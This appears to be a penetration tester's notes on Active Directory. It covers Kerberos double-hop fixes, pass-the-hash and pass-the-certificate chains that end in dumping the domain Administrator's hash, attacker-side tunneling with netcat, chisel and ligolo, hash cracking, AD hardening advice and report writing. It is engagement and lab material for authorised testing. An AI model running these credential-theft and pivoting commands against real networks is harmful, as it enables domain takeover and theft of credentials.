There’s an issue known as the “Double Hop” problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access (e.g. a computer but not beyond that computer). When we perform Kerberos authentication, we get a “ticket” that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.
Enumeration of the Problem
Use these commands to confirm you are in a “Double Hop” / Network Logon state where delegation is failing.
Command Output Indicator Meaning klistMissing krbtgt/DOMAINYou have no TGT. You cannot request tickets for other servers. klistPresent HTTP/HostnameYou only have a service ticket for the current box. mimikatzPassword : (null)LSASS has no cached credentials for your session. dir \\DC01\C$Access is denied/Anonymous LogonThe target sees you as “Anonymous” because no creds were forwarded. Mitigation Methods
Method 1: Pass Credential Object (Handout / Native)
Best for “Living off the Land” without uploading tools. Requires knowing the plaintext password.
# 1. Create the Credential Object $pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $pass) # 2. Execute command on the 2nd Hop using the Credential Invoke-Command -ComputerName <MACHINE_NAME> -Credential $cred -ScriptBlock { Get-Process } # 3. Or enter an interactive session Enter-PSSession -ComputerName <MACHINE_NAME> -Credential $credMethod 2: Register PSSession Configuration (Admin)
Requires Admin on the Jump Box. Sets up a permanent endpoint that auto-authenticates.
# 1. Register the Session (On Jump Box) Register-PSSessionConfiguration -Name "<SESSION_NAME>" -RunAsCredential "<DOMAIN>\<USER>" -Force # 2. Connect to it (From Attack/Start Box) Enter-PSSession -ComputerName <MACHINE_NAME> -ConfigurationName "<SESSION_NAME>" # 3. Verify klist # You should now see the krbtgt ticketMethod 3: Rubeus / Overpass-the-Hash (Attacker / Modern)
Best if you have a Hash or AES Key. Injects a TGT into your current session, “fixing” the double hop instantly.
# 1. Inject a TGT using the hash (or AES key) .\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt # 2. Verify klist # You now have a krbtgt ticket # 3. Pivot ls \\<DC_NAME>\C$ # Works natively nowMethod 4: Mimikatz PtH (Legacy / Risky in WinRM)
Mimikatz usually spawns a new window (which fails in WinRM). You must force it to run a command in the same console.
# /run:powershell might hang WinRM depending on the shell stability. # Use Rubeus (Method 3) if possible. mimikatz.exe "sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell" exitPass the Certificate (PtC)
Shadow Credentials Attack:
# https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/ # https://github.com/ShutdownRepo/pywhisker.git git clone https://github.com/ShutdownRepo/pywhisker.git && cd pywhisker && pip3 install -r requirements.txt && cd pywhisker # Get Certificate for user python3 pywhisker.py --dc-ip <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' --target <NEW_USER> --action add # creates .pfx file of <NEW_USER> and PFX password# Intercept web enrollment requests # https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py # NOTE: use https://github.com/ly4k/Certipy to find other templates python3 -m venv venv pip install git+https://github.com/fortra/impacket.git hash -r venv/bin/ntlmrelayx.py --adcs -smb2support --template KerberosAuthentication -t <WEB_ENROLL_SERVER> # outputs *.pfx file # Force arbitrary auth from <TARGET> to <ATTACKER> via printers # e.g. DC => ATTACKER BOX # https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py wget https://github.com/dirkjanm/krbrelayx/raw/refs/heads/master/printerbug.py python3 printerbug.py <DOMAIN>/<USERNAME>:"<PASSWORD>"@<TARGET> <ATTACKER> # PtC to get TGT # https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py git clone https://github.com/dirkjanm/PKINITtools.git ; cd PKINITtools ; python3 -m venv .venv ; source .venv/bin/activate ; pip3 install -r requirements.txt ; pip3 install -I git+https://github.com/wbond/oscrypto.git # OPTIONAL: -pfx-pass from pywhisker.py python3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC_IP> '<DOMAIN>/<USER>' <OUTPUT_TGT> # gives <OUTPUT_TGT> --- # Configure Kerberos echo '<DC_IP> <DC_FQDN>' | sudo tee -a /etc/hosts sudo cp -v /etc/krb5.conf /etc/krb5.conf.bak echo '[libdefaults] default_realm = <DOMAIN> dns_lookup_kdc = false [realms] <DOMAIN> = { kdc = <DC_FQDN> } [domain_realm] .<DOMAIN_LOWER> = <DOMAIN_UPPER> <DOMAIN_LOWER> = <DOMAIN_UPPER> ' | sudo tee /etc/krb5.conf export KRB5CCNAME=<OUTPUT_TGT> klist # Get NTLM hash of DC Administrator impacket-secretsdump -k -no-pass -dc-ip <DC_IP> -just-dc-user Administrator '<DOMAIN>/<DC_HOSTNAME>$'@<TARGET_FQDN> # gives HASH evil-winrm ... -H <HASH>Mitigation
Inventory
Naming conventions of OUs, computers, users, groupsDNS, network, and DHCP configurationsAn intimate understanding of all GPOs and the objects that they are applied toAssignment of FSMO rolesFull and current application inventoryA list of all enterprise hosts and their locationAny trust relationships we have with other domains or outside entitiesUsers who have elevated permissions
Prevention
Technology
- Run tools such as 5d, PingCastle, and Grouper periodically to identify AD misconfigurations.
- Ensure that administrators are not storing passwords in the AD account description field.
- Review SYSVOL for scripts containing passwords and other sensitive data.
- Avoid the use of “normal” service accounts, utilizing Group Managed (gMSA) and Managed Service Accounts (MSA) where ever possible to mitigate the risk of Kerberoasting.
- Disable Unconstrained Delegation wherever possible.
- Prevent direct access to Domain Controllers through the use of hardened jump hosts.
- Consider setting the
ms-DS-MachineAccountQuotaattribute to0, which disallows users from adding machine accounts and can prevent several attacks such as the noPac attack and Resource-Based Constrained Delegation (RBCD) - Disable the print spooler service wherever possible to prevent several attacks
- Disable NTLM authentication for Domain Controllers if possible
- Use Extended Protection for Authentication along with enabling Require SSL only to allow HTTPS connections for the Certificate Authority Web Enrollment and Certificate Enrollment Web Service services
- Enable SMB signing and LDAP signing
- Take steps to prevent enumeration with tools like BloodHound
- Ideally, perform quarterly penetration tests/AD security assessments, but if budget constraints exist, these should be performed annually at the very least.
- Test backups for validity and review/practice disaster recovery plans.
- Enable the restriction of anonymous access and prevent null session enumeration by setting the
RestrictNullSessAccessregistry key to1to restrict null session access to unauthenticated users.
People
- The organization should have a strong password policy, with a password filter that disallows the use of common words (i.e., welcome, password, names of months/days/seasons, and the company name). If possible, an enterprise password manager should be used to assist users with choosing and using complex passwords.
- Rotate passwords periodically for all service accounts.
- Disallow local administrator access on user workstations unless a specific business need exists.
- Disable the default
RID-500 local adminaccount and create a new admin account for administration subject to LAPS password rotation. - Implement split tiers of administration for administrative users. Too often, during an assessment, you will gain access to Domain Administrator credentials on a computer that an administrator uses for all work activities.
- Clean up privileged groups.
Does the organization need 50+ Domain/Enterprise Admins?Restrict group membership in highly privileged groups to only those users who require this access to perform their day-to-day system administrator duties. - Disable Kerberos delegation for administrative accounts (the Protected Users group may not do this)
- Where appropriate, place accounts in the
Protected Usersgroup.
# Viewing the Protected Users Group (ADSI) $root = [ADSI]"LDAP://RootDSE" $defaultNC = $root.defaultNamingContext.Value $searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC") $searcher.Filter = "(&(objectCategory=group)(samAccountName=Protected Users))" $searcher.PropertiesToLoad.Add("name") | Out-Null $searcher.PropertiesToLoad.Add("description") | Out-Null $searcher.PropertiesToLoad.Add("member") | Out-Null $searcher.FindOne() | ForEach-Object { $_.Properties }Reporting and Auditing
PingCastle
Role: Generates a “Health Check” report based on a maturity model. Bridges the gap between technical findings and C-Level risk scores. OPSEC: Moderate. Generates significant LDAP traffic but looks like admin activity.
# Interactive Mode (Best for first run) PingCastle.exe # Healthcheck Report (Non-Interactive) # Generates an HTML report in the current directory PingCastle.exe --healthcheck --server <DC_FQDN> # Scan specific risk areas (Scanner Mode) # Options: aclcheck, antivirus, localadmin, laps_bitlocker, etc. PingCastle.exe --scanner aclcheckActive Directory Explorer (Sysinternals)
Role: Creates (and mounts) snapshots of the AD Database for offline analysis. Attack Vector: If you find
.datsnapshot files on shares, you can mount them to browse AD as it was at that time without alerting the DC.# Create a Snapshot (Requires Creds) # -snapshot: Create a snapshot # "" : Prompt for password ADExplorer.exe -snapshot "" <DC_FQDN> output_filename # Mount a Snapshot (Offline Analysis) # Allows you to browse a .dat file found on a share ADExplorer.exe -snapshot "" <PATH_TO_DAT_FILE>Group3r
Role: Deep-dive auditing of Group Policy Objects (GPOs). Unlike standard tools that check permissions, this parses the content of GPOs to find hardcoded passwords, local admin deployments, and script definitions.
# Basic Scan (Output to Console) group3r.exe -s # Full Scan (Output to File) # -f: Output file path group3r.exe -f results.logADRecon
Role: Extracts everything from the domain (Users, Computers, GPOs, DNS, LAPS, BitLocker) and compiles it into a massive Excel report. OPSEC: π EXTREMELY LOUD. Do not use during a Red Team engagement unless you have burned the environment or are simulating an “Ignorant Insider.”
# Run Audit (Requires Excel installed for pretty reports, otherwise CSV) .\ADRecon.ps1 # Run on specific target Domain Controller .\ADRecon.ps1 -DomainController <DC_IP> # Generate Excel report from CSVs (Run offline on analyst machine) .\ADRecon.ps1 -GenExcel <PATH_TO_CSV_FOLDER>Lateral Movement
Network Info
# Linux arp -a cat /etc/hosts ifconfig ip a nmcli dev show ip r # Windows arp -a type c:\Windows\System32\drivers\etc\hosts ipconfig /all netstat -rAccess Domain Names
For a box that is not joined to the domain, but has domain access, add the DC (or DNS server) to resolve DNS names.
Split DNS Resolution (w/ VPN)
# 1. Enable dnsmasq plugin (Global Config) sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.bak sudo sed -i '/\[main\]/a dns=dnsmasq' /etc/NetworkManager/NetworkManager.conf # 2. Create the Domain Rule (Persistent) # Syntax: server=/domain.com/10.10.10.10 echo "server=/<FQDN>/<DNS_SERVER>" | sudo tee /etc/NetworkManager/dnsmasq.d/split_dns.conf # 3. Restart NetworkManager to apply the plugin change sudo systemctl restart NetworkManager # 4. Configure the VPN Connection # Replace <CONNECTION_NAME> with your VPN profile name (e.g., 'tun0' or 'lab_vpn') sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "" sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.never-default yes # 5. Reconnect VPN sudo nmcli connection down "<CONNECTION_NAME>" sudo nmcli connection up "<CONNECTION_NAME>"All DNS Resolution (no Internet access)
# Configure the VPN connection to strictly use the Target DNS sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "<DNS_SERVER>" sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes # Reconnect to apply sudo nmcli connection down "<CONNECTION_NAME>" sudo nmcli connection up "<CONNECTION_NAME>"Verify
nslookup <TARGET>Domain Information
# Get Domain Info net config workstation ipconfig /all echo %USERDOMAIN% $env:USERDOMAIN echo %LOGONSERVER% $env:LOGONSERVER (Get-WmiObject Win32_ComputerSystem).Domain (Get-CimInstance Win32_ComputerSystem).Domain # PowerShell (modern; no WMI) systeminfoTunneling (Port Forwarding)
SSH
Forward
Local (where SSH is ran from) => Remote (Target)ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<TARGET_2> ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \ -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \ <USER>@<TARGET_2>Reverse
NOTE: this requires
GatewayPortsto beyes:grep 'GatewayPorts' /etc/ssh/sshd_configssh -R <REMOTE_IP>:<REMOTE_PORT>:0.0.0.0:<LOCAL_PORT> <USER>@<TARGET> -vMetasploit
portfwd listForward
# ATTACKER => REDIR => TARGET # NOTE: add "-L 0.0.0.0" to make the local port accessible from other machines next to ATTACKER (like a Windows box) portfwd add -l <ATTACKER_PORT> -r <TARGET_IP> -p <TARGET_PORT>Reverse
# TARGET => REDIR => ATTACKER portfwd add -R -l <REDIR_PORT> -L <ATTACKER_IP> -p <ATTACKER_PORT>Redirection
Redirection is simple traffic manipulation on a single host. There are no tunnels.
Netcat
# PORT FORWARD 0.0.0.0:<LISTEN_PORT> => <TARGET>:<FORWARD_PORT> # NOTE: use normal netcat (w/o "-e" or "-c" options) rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | nc <TARGET> <FORWARD_PORT> 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/fSocat
This can be forward or reverse, with the
TARGET_*being the ATTACKER or TARGET respectively.socat TCP4-LISTEN:<LISTEN_PORT>,fork,reuseaddr TCP4:<TARGET_IP>:<TARGET_PORT>Netsh
netsh.exe interface portproxy add v4tov4 listenaddress=<LISTEN_IP> listenport=<LISTEN_PORT> connectaddress=<REMOTE_IP> connectport=<REMOTE_PORT> netsh.exe interface portproxy show v4tov4Dynamic Forwarding
SOCKS
Feature SOCKS4 SOCKS5 Transport Protocols TCP only TCP & UDP Addressing IPv4 Only IPv4 & IPv6 DNS Resolution Client-side (vulnerable to leaks) Remote/Proxy-side (via SOCKS5/4a) Authentication None (Ident-based only) Username/Password, GSS-API Nmap Compatibility Native --proxy(very stable)Better via proxychainsSSH ( -D) DefaultSupported (manual flag) Default Chisel Default Not standard Native / Built-in - Remember that only proper TCP traffic works with SOCKS (e.g. NOT certain scans like
nmap -sSsends malformed packets or ICMP ping), usenmap -sT --proxy
proxychains -q -f <CONFIG_FILE> <COMMAND> proxychains msfconsole # USE nmap's builtin --proxy option nmap -sT -Pn -n --proxy socks4://127.0.0.1:9050 <TARGET> # --unprivileged avoids raw sockets and "bad" packets nmap -n -Pn -sT -sV --unprivileged --proxy socks4://127.0.0.1:9050 -p21,22,23,53,80,135,139,389,443,445,1433,3389,5985,5986,8080 --stats-every 15s --open -v -oA nmap_subnet_discovery <TARGET_SUBNET>Step 0: Pre-Requisites
# Edit ProxyChains Config # NOTE: disable strict_chain to for robustness ls -la /etc/proxychains*.conf cat /etc/proxychains4.conf | grep -v '^#' | grep -v '^\s*$' --- sudo mv -v /etc/proxychains4.conf /etc/proxychains4.conf.BAK echo "#quiet_mode proxy_dns #dynamic_chain strict_chain [ProxyList] socks5 127.0.0.1 1080 # Chisel socks4 127.0.0.1 9050 # SSH -D proxy or nmap" | sudo tee /etc/proxychains4.confMetasploit
# Set global proxy for Metasploit setg PROXIES socks5:127.0.0.1:1080 # SOCKS5 setg PROXIES HTTP:127.0.0.1:8080 # HTTP # Clear proxy for current module only set Proxies "" # Accept reverse connections directly (don't let it thru the SOCKS proxy) setg ReverseAllowProxy truevia SSH
# Step 1: create proxy via SSH ssh -D 9050 <USER>@<TARGET>via Plink
Windows SSH client from PuTTY.
- Proxy Client: https://www.proxifier.com/
plink -ssh -D 9050 <USER>@<TARGET> cmd.exe /c echo y | plink.exe -ssh -l <USER> -pw <PASS> <TARGET>via Metasploit
# Step 1: Run MSF SOCKS proxy use auxiliary/server/socks_proxy set SRVPORT 9050 set SRVHOST 0.0.0.0 set version 4a #set version 5 run -j jobs # Step 2a: in MSF use post/multi/manage/autoroute set SESSION <SESSION> set SUBNET <TARGET_SUBNET> run -j jobs route print # OR Step 2b: in MSF session run autoroute -s <TARGET_SUBNET> run autoroute -pSshuttle
“Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin… Supports DNS tunneling.”
sudo apt install -y sshuttle # NOTE: -x excludes the pivot IP to avoid routing issues sudo sshuttle -r <USER>@<TARGET> --ssh-cmd "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" -x <PIVOT_IP> -v <TARGET_SUBNET>Chisel
“Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH”
NOTE: configure [[lateral-movement#Step 0 Pre-Requisites]] and SOCKS5 w/ port 1080
### LINUX # DYNAMIC git clone https://github.com/jpillora/chisel.git && cd chisel && go build # STATIC CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o chisel_static ### WINDOWS # 64-bit CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o chisel.exe # 32-bit CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o chisel32.exe ### SHRINK (10MB -> 3MB) upx --lzma chisel*Forward
# REDIR ./chisel server --socks5 -v -p <LISTEN_PORT> # ATTACKER ./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> 1080:socksReverse
# ATTACKER ./chisel server --socks5 --reverse -v -p <LISTEN_PORT> # REDIR ./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> R:1080:socksLigolo-ng
Sets up a new interface and route to move traffic
Build:
git clone https://github.com/nicocha30/ligolo-ng.git && cd ligolo-ng go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go # Build for Windows GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go # Build for Linux GOOS=linux go build -o agent cmd/agent/main.go GOOS=linux go build -o proxy cmd/proxy/main.go ### SHRINK (10MB -> 3MB) upx --lzma agent* proxy*ATTACKER: Listener
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up # listens on :11601 by default ./proxy -selfcertTarget Listen/Bind (Forward) ATTACKER connects to TARGET
# TARGET ./agent.exe -bind 0.0.0.0:<PORT> # ATTACKER: ligolo session connect_agent --ip <TARGET>:<PORT> session tunnel_start --tun ligoloTarget Connect/Reverse (Reverse) TARGET connects to ATTACKER
# Target ./agent.exe -connect <ATTACKER_IP>:<PORT> -ignore-cert # ATTACKER: ligolo session session tunnel_start --tun ligoloATTACKER: Create Route
sudo ip route add <SUBNET_TARGET> dev ligoloOffline Hash Cracking
Offline attacks = touching the rig. You use local GPU/CPU on captured data. Risks: none (except overheating).
- https://openwall.info/wiki/john/sample-hashes
- https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
- https://hashes.com/en/tools/hash_identifier
Hash identification
Prefer
nth(Name That Hash) overhashid: it outputs the exact Hashcat-mand John format so you can paste and run. Hashcat can also suggest a mode if you run it without-m.# Name That Hash (recommended) pipx install name-that-hash nth -t '<HASH_STRING>' nth -f <HASH_FILE.txt># Hashcat autodetect (no -m; it will suggest or prompt) echo '<HASH>' > detect.hash hashcat detect.hash --show # or hashcat detect.hash <WORDLIST>Ambiguity: e.g. 32-char hex can be MD5 or NTLM β context (source) matters. Donβt truncate
==or leading$when copying.Extraction/Format Conversion
File to Hash
Convert files/artefacts to a hash format that hashcat or John can crack.
# Find all JtR utilities sudo updatedb && locate '*2john' | grep -v 'pycache' # Zip (then crack: hashcat -m 17200 for PKZIP, or JtR for zips) zip2john <ZIP_FILE> > hash_zip.txt # RAR rar2john <RAR_FILE> > hash_rar.txt # Office docs office2john <OFFICE_FILE> > hash_office.txt # PDF pdf2john <PDF_FILE> > hash_pdf.txt # Bitlocker bitlocker2john -i <VHD_FILE> > pre_hash_vhd.txt grep "bitlocker\$0" pre_hash_vhd.txt > hash_crackme_vhd.txt hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST> # Mount with Bitlocker (after cracking) sudo apt install -y dislocker sudo mkdir -p /media/{bitlocker,bitlockermount} sudo losetup -f -P Backup.vhd ls -la /dev/loop* sudo dislocker /dev/<LOOP_DEV> -u<PASSWORD> -- /media/bitlocker sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount # SSH: find private keys grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null # Check if key is password protected ssh-keygen -yf <PRIVKEY> # Get hash ssh2john <PRIVKEY> > ssh.hash # OpenSSL-encrypted archive while read p; do openssl enc -aes-256-cbc -d -in <ENC_FILE> -k "$p" 2>/dev/null | tar xz 2>/dev/null if [ $? -eq 0 ]; then echo "Success! Password is: $p" break fi done < <WORDLIST>Common Hash Values (Empty Input)
Hash Value Type Meaning d41d8cd98f00b204e9800998ecf8427eMD5 Empty String (0 byte input) da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1 Empty String (0 byte input) e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256 Empty String (0 byte input) Wordlist Customization
Mutating Wordlists
cewl: Scrape target site to build a wordlist (e.g. company jargon, names).
# Create wordlist from website (lowercase, spider depth, min word length) cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>Hashcat rules: Mutate a small keyword list into a large wordlist.
# Manually generate keywords or use cewl via OSINT cat << EOF > keywords.txt <KEYWORDS> EOF # Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case) # $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $ cat << EOF > custom.rule c C t \$! \$1\$9\$9\$8 \$1\$9\$9\$8\$! sa@ so0 ss\$ EOF # Generate permutated wordlist hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt # Crack with same rules hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txtCUPP Profiling
Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.
git clone https://github.com/Mebus/cupp.git cd cupp python3 cupp.py -iInteractive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.
Cracking
Hash Identification
See Β§0. Hash identification above. Fallback:
hashid -jm '<HASH>'.Hashcat
- Hash type codes: https://hashcat.net/wiki/doku.php?id=example_hashes
- Common: 1000 (NTLM), 18200 (Kerberoast), 5600 (NetNTLMv2), 17200 (PKZIP)
- Rules:
/usr/share/hashcat/rules - https://pentesting.site/cheat-sheets/hashcat/
Rule comparison
Rule File Rule Count Use Case best64.rule64 First run. Fast for easy passwords. d3ad0ne.rule~34,000 Deep crack. Standard “complex” passwords. dive.rule~100,000+ Paranoid. Very slow; last resort. # Wordlist attack hashcat -m 1800 hashes.txt <WORDLIST> hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST> # MD5crypt with salt hashcat -m 20 <HASH>:<SALT> <WORDLIST> # Zip (PKZIP); for some zips JtR is easier hashcat -m 17200 hash_zip.txt <WORDLIST>Mask attack (
-a 3) charsetsSymbol Description Charset ?lLowercase a-z?uUppercase A-Z?dDigits 0-9?hHex lower 0-9a-f?HHex upper 0-9A-F?sSpecial space and !"#$%&’()*+,-./:;<=>?@[]^_` ?aAll ?l?u?d?s?bBinary 0x00β0xff hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'John the Ripper
john --list=formats # Wordlist (specify format when possible) john --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE> # Single crack: permutations from username (e.g. unshadowed passwd) unshadow passwd.txt shadow.txt > unshadowed.txt john --single <UNSHADOW_FILE> # Incremental (Markov-style) john --incremental <HASH_FILE>8 - Reporting
Post-Engagement
UNDERSTANDABLE and ACTIONABLE: DON’T assume people understand everything or know the technical details IN the REPORT… explain your thought process… make things easily reproducible (copy&pastable) where possible…
Reports and Sections
REAL REPORTS: https://github.com/juliocesarfort/public-pentesting-reports
Writing the Report: https://www.blackhillsinfosec.com/how-to-not-suck-at-reporting-or-how-to-write-great-pentesting-reports/
Report Writing Tools:
Report/Findings Boilerplate:
1. The Executive Summary
Target Audience: Non-technical executives (CISO, Board of Directors) managing budgets. Goal: Translate technical risk into business impact and justify remediation funding.
- Engagement Overview: Scope, objective, and high-level results (e.g., “7 findings, 5 High, 1 Medium, 1 Low”).
- The Narrative: Explain the overall security posture (e.g., “Patch management is excellent, but configuration management is poor”).
- Key Impacts: Describe what was accessed in plain English (e.g., “Gained access to HR and banking systems” instead of “Domain Admin”).
- Strategic Recommendations: Focus on broken processes, not just patches (e.g., “Implement a stronger password policy” instead of “Change 500 passwords”).
Do’s and Don’ts of Executive Summaries
DO DON’T Be specific with metrics. (“We found 25 instances,” not “We found several”). Name specific vendors. (Say “an EDR solution,” not “Buy CrowdStrike”). Keep it under 2 pages. Consolidate minor issues into process-level themes. Use technical acronyms. (Translate LLMNR, XSS, or TGT into plain English). Focus on business impact. (What data was stolen, what processes were halted). Waste space on minor findings. (Focus on the critical attack paths). Set remediation expectations. (Acknowledge if fixing a GPO will take significant time). Reference technical sections. (The Exec Summary must be 100% standalone). 2. The Remediation Summary (Roadmap)
Goal: A prioritized checklist for IT managers.
- Short-Term: Immediate fixes (Patch X, disable Service Y).
- Medium/Long-Term: Process fixes (Implement LAPS, redesign SDLC, deploy EDR).
3. The Attack Chain (Narrative)
Goal: Show how multiple low/medium vulnerabilities chain together to create a critical impact.
- Step-by-step walkthrough (e.g., LLMNR Poisoning $\rightarrow$ Crack Hash $\rightarrow$ Kerberoast SPN $\rightarrow$ Crack Hash $\rightarrow$ DCSync).
- Include screenshots and command output.
4. Detailed Findings
Goal: Technical reproduction steps and exact fixes for sysadmins/developers.
- Severity Rating, CVE/CVSS/OWASP/MITRE IDs
- Affected systems, networks, environments, or applications
- Vulnerability Description.
- Reproduction Steps (Commands & Output).
- Remediation Advice:
- Each finding should include one or more external references for further reading on a particular vulnerability or misconfiguration
- Reference links with additional information about the tool/method itself
5. Appendices
- Scope: IPs, Domains, URLs tested.
- Methodology: The standard tested against (e.g., PTES, OWASP).
- Severity Ratings Matrix: How you calculate High vs. Medium risk.
- Payloads/Artifacts Log: File hashes, paths, and timestamps of all tools dropped on disk (crucial for Blue Teams/Forensics).
- Compromised Credentials: List of accounts cracked (do not list passwords in cleartext if possible).
- Configuration Changes: List of any settings modified during the test that need reverting.
- (Optional) Domain Password Analysis: Statistics on cracked AD passwords (e.g., via DPAT).
- (Optional) OSINT / External Footprint: Open ports, breached credentials (DeHashed), DNS records.
Misc Tips/Tricks
- Aim to tell a story with your report. Why does it matter that you could perform Kerberoasting and crack a hash? What was the impact of default creds on X application?
- Write as you go. Don’t leave reporting until the end. Your report does not need to be perfect as you test but documenting as much as you can as clearly as you can during testing will help you be as comprehensive as possible and not miss things or cut corners while rushing on the last day of the testing window.
- Stay organized. Keep things in chronological order, so working with your notes is easier. Make your notes clear and easy to navigate, so they provide value and don’t cause you extra work.
- Show as much evidence as possible while not being overly verbose. Show enough screenshots/command output to clearly demonstrate and reproduce issues but do not add loads of extra screenshots or unnecessary command output that will clutter up the report.
- Clearly show what is being presented in screenshots. Use a tool such as Greenshot to add arrows/colored boxes to screenshots and add explanations under the screenshot if needed. A screenshot is useless if your audience has to guess what you’re trying to show with it.
- Redact sensitive data wherever possible. This includes cleartext passwords, password hashes, other secrets, and any data that could be deemed sensitive to our clients. Reports may be sent around a company and even to third parties, so we want to ensure we’ve done our due diligence not to include any data in the report that could be misused. A tool such as
Greenshotcan be used to obfuscate parts of a screenshot (using solid shapes and not blurring!). - Redact tool output wherever possible to remove elements that non-hackers may construe as unprofessional (i.e.,
(Pwn3d!)from CrackMapExec output). In CME’s case, you can change that value in your config file to print something else to the screen, so you don’t have to change it in your report every time. Other tools may have similar customization. - Check your Hashcat output to ensure that none of the candidate passwords is anything crude. Many wordlists will have words that can be considered crude/offensive, and if any of these are present in the Hashcat output, change them to something innocuous. You may be thinking, “they said never to alter command output.” The two examples above are some of the few times it is OK. Generally, if we are modifying something that can be construed as offensive or unprofessional but not changing the overall representation of the finding evidence, then we are OK, but take this on a case-by-case basis and raise issues like this to a manager or team lead if in doubt.
- Check grammar, spelling, and formatting, ensure font and font sizes are consistent and spell out acronyms the first time you use them in a report.
- Make sure screenshots are clear and do not capture extra parts of the screen that bloat their size. If your report is difficult to interpret due to poor formatting or the grammar and spelling are a mess, it will detract from the technical results of the assessment. Consider a tool such as Grammarly or LanguageTool (but be aware these tools may ship some of your data to the cloud to “learn”), which is much more powerful than Microsoft Word’s built-in spelling and grammar check.
- Use raw command output where possible, but when you need to screenshot a console, make sure it’s not transparent and showing your background/other tools (this looks terrible). The console should be solid black with a reasonable theme (black background, white or green text, not some crazy multi-colored theme that will give the reader a headache). Your client may print the report, so you may want to consider a light background with dark text, so you don’t demolish their printer cartridge.
- Keep your hostname and username professional. Don’t show screenshots with a prompt like
azzkicker@clientsmasher. - Establish a QA process. Your report should go through at least one, but preferably two rounds of QA (two reviewers besides yourself). We should never review our own work (wherever possible) and want to put together the best possible deliverable, so pay attention to the QA process. At a minimum, if you’re independent, you should sleep on it for a night and review it again. Stepping away from the report for a while can sometimes help you see things you overlook after staring at it for a long time.
- Establish a style guide and stick to it, so everyone on your team follows a similar format and reports look consistent across all assessments.
- Use autosave with your notetaking tool and MS Word. You don’t want to lose hours of work because a program crashes. Also, backup your notes and other data as you go, and don’t store everything on a single VM. VMs can fail, so you should move evidence to a secondary location as you go. This is a task that can and should be automated.
- Script and automate wherever possible. This will ensure your work is consistent across all assessments you perform, and you don’t waste time on tasks repeated on every assessment.
Acronyms
VPN, SSH- a protocol used for secure remote administrationSSL/TLS- technology used to facilitate secure web browsingHash- the output from an algorithm commonly used to validate file integrityPassword Spraying- an attack in which a single, easily-guessable password is attempted for a large list of harvested user accountsPassword Cracking- an offline password attack in which the cryptographic form of a userβs password is converted back to its human-readable formBuffer overflow/deserialization/etc.- an attack that resulted in remote command execution on the target hostOSINT- Open Source Intelligence Gathering, or hunting/using data about a company and its employees that can be found using search engines and other public sources without interacting with a company’s external networkSQL injection/XSS- a vulnerability in which input is accepted from the user without sanitizing characters meant to manipulate the application’s logic in an unintended manner
9 - Notes
Nice General Cheatsheets
0) Troubleshooting & Snippets
Random fixes, one-liners, and useful commands for lab machines and general fuckery.
Fix Go
When system Go is broken or missing (HTB / online lab VMs)…
